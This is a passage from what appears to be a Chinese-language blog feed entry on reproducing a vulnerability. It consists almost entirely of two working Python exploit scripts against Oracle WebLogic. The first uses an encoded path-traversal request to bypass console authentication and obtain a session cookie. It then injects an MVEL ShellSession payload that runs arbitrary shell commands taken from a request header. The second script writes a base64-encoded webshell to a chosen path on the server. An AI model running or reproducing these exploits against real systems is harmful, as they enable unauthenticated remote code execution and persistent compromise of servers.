    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;#获取到cookie之后，发送第二个请求，用于执行命令&lt;/span&gt;
&lt;span class="c1"&gt;#注意 useDelimiter(&amp;quot;\\A&amp;quot;) 这个地方的两个\，需要再次转义，不然python会把其中一个作为&lt;/span&gt;
&lt;span class="c1"&gt;#转义符处理，导致真正发送的请求中只包含一个\&lt;/span&gt;
&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;/console/css/&lt;/span&gt;&lt;span class="si"&gt;%25%&lt;/span&gt;&lt;span class="s2"&gt;32&lt;/span&gt;&lt;span class="si"&gt;%65%&lt;/span&gt;&lt;span class="s2"&gt;25&lt;/span&gt;&lt;span class="si"&gt;%32%&lt;/span&gt;&lt;span class="s2"&gt;65&lt;/span&gt;&lt;span class="si"&gt;%25%&lt;/span&gt;&lt;span class="s2"&gt;32&lt;/span&gt;&lt;span class="si"&gt;%66c&lt;/span&gt;&lt;span class="s2"&gt;onsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(&amp;#39;weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(&amp;quot;connectionHandler&amp;quot;);field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(&amp;quot;getServletRequest&amp;quot;).invoke(obj); String cmd = req.getHeader(&amp;quot;cmd&amp;quot;);String[] cmds = System.getProperty(&amp;quot;os.name&amp;quot;).toLowerCase().contains(&amp;quot;window&amp;quot;) ? new String[]{&amp;quot;cmd.exe&amp;quot;, &amp;quot;/c&amp;quot;, cmd} : new String[]{&amp;quot;/bin/sh&amp;quot;, &amp;quot;-c&amp;quot;, cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s2"&gt;A&amp;quot;).next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(&amp;quot;getResponse&amp;quot;).invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();&amp;#39;)&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cookie&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;cmd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1607502083894" src="https://s2.loli.net/2024/06/14/lVkz3inG1c6tY5A.png"&gt;&lt;/p&gt;
&lt;h2&gt;写入文件&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# -*- coding: UTF-8 -*-&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="c1"&gt;#下面这三行代码是为了解决requests的一个bug，就是Connection broken: IncompleteRead&lt;/span&gt;
&lt;span class="c1"&gt;#其实真正的原因我到现在也不清楚，但是下面这三行代码确实可以解决问题&lt;/span&gt;
&lt;span class="c1"&gt;#参考https://my.oschina.net/u/1538135/blog/858467&lt;/span&gt;
&lt;span class="c1"&gt;#python3.x中的httplib变成了http.client需要修改一下&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;http.client&lt;/span&gt;
&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_http_vsn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_http_vsn_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;HTTP/1.0&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;usage: python3 exp.py http(s):target-ip:target-port command&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;#去掉url最后面的/&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;#命令中包含空格的情况&lt;/span&gt;
&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;
        &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="c1"&gt;#调试的时候使用burp代理抓包，便于发现脚本的问题&lt;/span&gt;
&lt;span class="n"&gt;proxy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/console/css/&lt;/span&gt;&lt;span class="si"&gt;%252e%252e%252f&lt;/span&gt;&lt;span class="s2"&gt;console.portal&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;#设置不跟随302重定向，不然会获取不到cookie&lt;/span&gt;
&lt;span class="c1"&gt;#response = requests.get(res, proxies=proxy,allow_redirects=False)&lt;/span&gt;
&lt;span class="c1"&gt;#忽略https证书错误的问题，第二个请求也一样&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;---------------------------------------raw header---------------------------------------&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;---------------------------------------raw header---------------------------------------&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cookie_raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Set-Cookie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;matchObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;(.*); path=/.*?&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookie_raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;matchObj&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;matchObj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cookie get!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;no cookie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;#获取到cookie之后，发送第二个请求，用于执行命令&lt;/span&gt;
&lt;span class="c1"&gt;#注意 useDelimiter(&amp;quot;\\A&amp;quot;) 这个地方的两个\，需要再次转义，不然python会把其中一个作为&lt;/span&gt;
&lt;span class="c1"&gt;#转义符处理，导致真正发送的请求中只包含一个\&lt;/span&gt;
&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;/console/css/&lt;/span&gt;&lt;span class="si"&gt;%25%&lt;/span&gt;&lt;span class="s2"&gt;32&lt;/span&gt;&lt;span class="si"&gt;%65%&lt;/span&gt;&lt;span class="s2"&gt;25&lt;/span&gt;&lt;span class="si"&gt;%32%&lt;/span&gt;&lt;span class="s2"&gt;65&lt;/span&gt;&lt;span class="si"&gt;%25%&lt;/span&gt;&lt;span class="s2"&gt;32&lt;/span&gt;&lt;span class="si"&gt;%66c&lt;/span&gt;&lt;span class="s2"&gt;onsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(&lt;/span&gt;&lt;span class="si"&gt;%22d&lt;/span&gt;&lt;span class="s2"&gt;ata=&amp;#39;你的经过base64编码的马子&amp;#39;;data=new String(new sun.misc.BASE64Decoder().decodeBuffer(data));out=new java.io.PrintWriter(&amp;#39;你想要写入文件的绝对路径，这个可以通过前面的命令执行脚本获得&amp;#39;);out.print(data);out.close();%22);&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cookie&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;cmd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;用法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;exp.py&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:7001&lt;span class="w"&gt; &lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="漏洞复现"></category></entry></feed>